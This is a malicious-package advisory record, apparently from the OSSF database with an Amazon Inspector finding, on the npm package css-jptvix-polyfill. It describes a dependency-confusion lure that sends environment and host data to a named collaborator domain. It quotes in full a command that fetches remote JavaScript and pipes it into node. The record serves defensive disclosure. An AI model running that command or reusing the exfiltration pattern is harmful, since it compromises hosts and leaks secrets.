mal-2026-17638
Vulnerability from ossf_malicious_packages
-= Per source details. Do not edit below this line.=-
Source: amazon-inspector (cea61788c370593a2720461d06b74942933d38d30b449851a05541b5b7f189aa)
The package ships thunderboltRegistry.js, a Proxy-based shim that exports names mimicking internal Wix thunderbolt modules (thunderboltRegistry, siteAssetsRegistry, editorRegistry, corvidRegistry, documentManagementRegistry, and others) so that any import of those names in a victim build auto-triggers its payload. On load, the module uses child_process.execSync to run id, whoami, env, and ifconfig/ip addr, and ships the output together with the hostname via fetch to the hardcoded Burp Collaborator subdomain https://orj3tao0ic8oj24h9njymexmtdz5ztphe.oastify.com, leaking the full process environment (including any tokens or secrets present) and host identifiers off the installer's machine. The same IIFE additionally runs curl -L https://appsecc.com/js | node, piping attacker-controlled JavaScript from an unrelated third-party domain directly into the installer's Node.js interpreter; the code labels this branch reverse-shell. The package name and the Wix-internal registry shape are consistent with a dependency-confusion lure targeting Wix thunderbolt builds.
- CWE-506 - The product contains code that appears to be malicious in nature.
{
"affected": [
{
"database_specific": {
"cwes": [
{
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature.",
"name": "Embedded Malicious Code"
}
],
"indicators": {
"evidence_files": [
{
"path": "thunderboltRegistry.js",
"sha256": "8b437ee6733aa1c34668f7c67d779276c08f7013def225c55d61c31753442fc7",
"tlsh": "3d7143b5b99df02066c33438db7f5049b4bb8a672c6caee0b40859b01f3585c01be6f4"
}
],
"package_integrity": [
{
"filename": "css-jptvix-polyfill-1.0.0.tgz",
"hashes": {
"sha1": "9e700b2c0520fc6a236e4b14db5db5c89b6e8ea4",
"sha512_sri": "sha512-Js0W2iiynerl/vPEpcWopmR1zUdevE9QFxO+uMawx929wvihQ2kbi13xV6DkdsiXvvjczR2MRVWNLYtM1xpDeA=="
}
}
]
}
},
"package": {
"ecosystem": "npm",
"name": "css-jptvix-polyfill"
},
"versions": [
"1.0.0"
]
}
],
"credits": [
{
"contact": [
"inspector-research@amazon.com"
],
"name": "Amazon Inspector",
"type": "FINDER"
}
],
"database_specific": {
"malicious-packages-origins": [
{
"id": "IN-MAL-2026-021098",
"import_time": "2026-10-06T20:20:38.654635904Z",
"modified_time": "2026-10-06T19:51:06Z",
"sha256": "cea61788c370593a2720461d06b74942933d38d30b449851a05541b5b7f189aa",
"source": "amazon-inspector",
"versions": [
"1.0.0"
]
}
]
},
"details": "\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (cea61788c370593a2720461d06b74942933d38d30b449851a05541b5b7f189aa)\nThe package ships thunderboltRegistry.js, a Proxy-based shim that exports names mimicking internal Wix thunderbolt modules (thunderboltRegistry, siteAssetsRegistry, editorRegistry, corvidRegistry, documentManagementRegistry, and others) so that any import of those names in a victim build auto-triggers its payload. On load, the module uses child_process.execSync to run `id`, `whoami`, `env`, and `ifconfig`/`ip addr`, and ships the output together with the hostname via fetch to the hardcoded Burp Collaborator subdomain https://orj3tao0ic8oj24h9njymexmtdz5ztphe.oastify.com, leaking the full process environment (including any tokens or secrets present) and host identifiers off the installer\u0027s machine. The same IIFE additionally runs `curl -L https://appsecc.com/js | node`, piping attacker-controlled JavaScript from an unrelated third-party domain directly into the installer\u0027s Node.js interpreter; the code labels this branch `reverse-shell`. The package name and the Wix-internal registry shape are consistent with a dependency-confusion lure targeting Wix thunderbolt builds.\n",
"id": "MAL-2026-17638",
"modified": "2026-10-06T19:51:06Z",
"published": "2026-10-06T19:51:06Z",
"references": [
{
"type": "PACKAGE",
"url": "https://www.npmjs.com/package/css-jptvix-polyfill/v/1.0.0"
}
],
"schema_version": "1.7.4",
"summary": "Malicious code in css-jptvix-polyfill (npm)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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